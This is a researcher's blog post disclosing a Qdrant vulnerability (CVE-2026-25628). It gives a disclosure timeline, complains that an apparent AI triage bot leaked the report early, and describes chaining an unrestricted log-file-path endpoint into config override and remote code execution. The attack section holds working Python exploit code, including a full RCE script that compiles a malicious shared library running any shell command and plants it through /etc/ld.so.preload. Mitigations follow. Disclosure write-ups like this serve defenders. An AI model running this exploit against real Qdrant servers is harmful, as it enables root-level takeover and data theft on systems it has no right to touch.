[CVE-2026-25628] Qdrant arbitrary file write to RCE

# Intro

Recently, I’ve been exploring security implications of creating an internal managed Qdrant service at work. While examining dangerous HTTP endpoints which should be restricted, I’ve found an interesting vulnerability - the database allowed specifying the path to the log file. I got interested in the impact this vulnerability could have and managed to achieve full remote code execution with this simple primitive. The exploitation method is quite interesting in my opinion, so I decided to write a blog post about it.

I tried to disclose this vulnerability responsibly, but unexpectedly failed due to a major mistake on the platform side. This was really disappointing, so the disclosure details will come first in this blog post.

# Disclosure details

While investigating options for disclosing the vulnerability, I’ve considered Qdrant’s self-hosted program and Qdrant’s program on huntr.com. As huntr.com looked more transparent, had a researcher reputation feature, and a high likelihood of the report being disclosed after the fix (vs. email-based communication), I initially decided to use it. However, that turned out to be a mistake.

Several hours after submitting the report, it was marked as a duplicate of an unrelated vulnerability by huntr-helper (I suspect this is some sort of AI triager bot). Not only was that false, but the report was immediately made public, so a high-impact remote code execution vulnerability was leaked before the fix. Even if the report was indeed a duplicate of another undisclosed report on the platform, it should not have been made public.

This incident severely decreases the reliability of this platform. Actually, the worst possible thing the platform could do is mistakenly ignore a valid report and publicly disclose it before the fix is released.

If my suspicions are correct and AI was used to triage my report, I would also suggest considering the security implications of using AI-powered triagers, especially for decisions related to disclosure.

Link to my report, saved copy on archive.is. huntr_dup

Right after receiving the duplicate notification, I’ve contacted the Qdrant team using their self-hosted program and used the huntr.com support form to notify the platform of the mistake.

The Qdrant team responsibly fixed it the same day.

I have not received a reply from huntr.com as of the day this blog post is published.

Timeline (UTC):

  • 2025-11-12 ~11:00 - report submitted
  • 2025-11-12 ~23:00 - duplicate notification received
  • 2025-11-13 ~9:00 - Qdrant team notified, huntr.com support contacted
  • 2025-11-13 ~15:00 - Fix merged
  • 2026-02-05 ~18:00 - CVE and GHSA published

# Qdrant role model

Details on Qdrant’s role model can be found in the Qdrant documentation. It allows you to create tokens with:

  • management access to the whole database, including other dangerous endpoints like downloading or uploading snapshots (this is actually by-design SSRF)
  • read-only access to the whole database
  • read-only or read-write access to some collections (like a table in traditional databases)

Authentication is robustly checked with a middleware, but authorization is checked in individual handler functions. For the vulnerable endpoint, authorization was skipped entirely, so it could be exploited with any valid token.

# Vulnerability details

The gadget is actually very simple - the ability to specify the path to the log file via
the POST /logger endpoint (Source code link). However, exploiting this turned out to be less straightforward than might be expected.

Log level and some other parameters could be controlled as well and applied without service restart. Log lines will be appended to the specified file (it will not be overwritten).

# Privilege escalation via config override

My initial idea was to see what could be achieved by writing to the config file. As Qdrant often runs in a container as the root user (default Qdrant Docker image), the config file is writable in most cases. However, there are several complications with this approach:

  1. The server should be restarted in order to apply the new config. This can sometimes be achieved with a crash or OOM, or by legitimate means in cloud-like scenarios where the attacker has some control over the service. For example, Qdrant Cloud provides restart functionality.
  2. The config should be valid. Qdrant uses the config crate, which supports several formats, but writing some log lines will most likely break the format and the server will not start.

Log lines have the following format:

2025-11-11T23:52:22.054804Z  INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422

And even though it might appear unparsable at first glance, this actually is valid YAML!

So if we manage to find a way to inject newlines into the log, we can create a valid Qdrant YAML config file as unknown keys are ignored. Fortunately, there is a way to perform log injection: PATCH /collections endpoint writes unescaped collection name before performing any validation. Now we need to find interesting config options to override.

There are no “RCE” config options (like running shell commands before start), but still we can use this to read arbitrary files by overriding service.static_content_dir (base directory for Qdrant dashboard static files) or escalate privileges by overriding service.api_key.

Another issue to overcome is that duplicate config keys are not allowed and service: is normally already present in the config.yaml and production.yaml files. This will break the config parsing. Fortunately for us, options can be overridden by the local.yaml file, which is normally not present.

So, the privilege escalation exploit flow should look like this:

res = s.post(
    f"{url}/logger",
    json={
        "log_level": "INFO",
        "on_disk": {
            "enabled": True,
            "format": "text",
            "log_level": "INFO",
            "buffer_size_bytes": 1,
            "log_file": "config/local.yaml",
        },
    },
)
res = s.patch(
    f"{url}/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a",
    json={},
)
input("Restart Qdrant and press Enter to continue...")
# now we can read any file on the filesystem as the web root is the container root.
# in the container environment, cwd of the process is /qdrant.
res = s.get(f"{url}/dashboard/qdrant/config/production.yaml")
print(res.text) # prints the content of the config file

After running the PoC, the content of config/local.yaml will look like this:

2025-11-11T23:52:22.054804Z  INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422
2025-11-11T23:52:22.056962Z  INFO storage::content_manager::toc::collection_meta_ops: Updating collection
service:
    static_content_dir: ..

2025-11-11T23:52:22.057530Z  INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391

# Remote code execution

The previous exploitation flow requires a service restart and is pretty noisy, which is not ideal. Also, this is not a complete RCE, so I’ve spent some more time investigating interesting files to overwrite. A previous RCE exploit targeted overwriting Qdrant’s shared libraries, but this is not an option here as we can only append to files, not overwrite them.

While running strace, I’ve (re)discovered that the /etc/ld.so.preload is read by the linker on startup of any process.

This is a very convenient file to be able to write to. It is parsed very laxly: according to the man page, the content of the file is split by whitespace characters or colons and each string is considered as a shared library path to be preloaded on execution of any program. As the Qdrant process is run as root, this file is usually writable. Invalid shared libraries are ignored with a warning to stderr.

Now we just need an ability to upload a shared library and to execute any dynamically linked program. Qdrant has a file upload functionality for snapshots (though management privileges are required), but the uploaded file is deleted after recovery. Fortunately, if the file is invalid, it will not be deleted!

And to start a process, we can use the GET /stacktrace endpoint which executes Qdrant itself for stacktrace collection.

So the full RCE exploit should look like this:

  1. Upload a malicious shared library to the /qdrant/snapshots directory. As the file is an invalid snapshot, it will not be deleted.
  2. Enable on-disk logging to the /etc/ld.so.preload file.
  3. Send a request with a line which contains the full path to the uploaded file - it will be logged to ld.so.preload.
  4. Send a request to the GET /stacktrace endpoint.
Full RCE exploit code
import requests
import argparse
import tempfile
import os

TEST_COLLECTION_NAME = "COLTEST"


parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
parser.add_argument("--lib", default="")

args = parser.parse_args()


assert "'" not in args.cmd, "Command must not contain single quotes"
so_code = """
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    unlink("/etc/ld.so.preload");
    system("/bin/bash -c 'XXXXXXXX'");
}
""".replace('XXXXXXXX', args.cmd)

with tempfile.TemporaryDirectory() as tmpdir:
    with open(f"{tmpdir}/cmd_code.c", "w") as f:
        f.write(so_code)
    os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')
    cmd_so = open(f'{tmpdir}/cmd.so', "rb").read()

url = args.url

headers = {}
if args.api_key:
    headers["api-key"] = args.api_key

s = requests.Session()

s.headers.update(headers)

res = s.post(
    f"{url}/logger",
    json={
        "log_level": "INFO",
        "on_disk": {
            "enabled": True,
            "format": "text",
            "log_level": "INFO",
            "buffer_size_bytes": 1,
            "log_file": "/etc/ld.so.preload",
        },
    },
)
res.raise_for_status()
print("[+] Logger configured")

res = s.get(
    f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so",
)

print("[+] Log injected")


res = s.post(
    f"{url}/logger",
    json={
        "on_disk": {
            "enabled": False,
        },
    },
)
res.raise_for_status()
print("[+] Logger disabled")


rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")})

print(rsp.text)
# trigger the stacktrace endpoint which will execute `/qdrant/qdrant --stacktrace`

input("Press Enter to continue...")
rsp = s.get(f"{args.url}/stacktrace")
rsp.raise_for_status()

# Mitigation

  1. Limit usage of the /logger endpoint to users with management privileges (or disable it completely).
  2. Restrict the path of the log file to a dedicated logs directory.
  3. Running Qdrant as a non-root user or with a read-only filesystem (this is the case for Qdrant Cloud) will make this vulnerability unexploitable.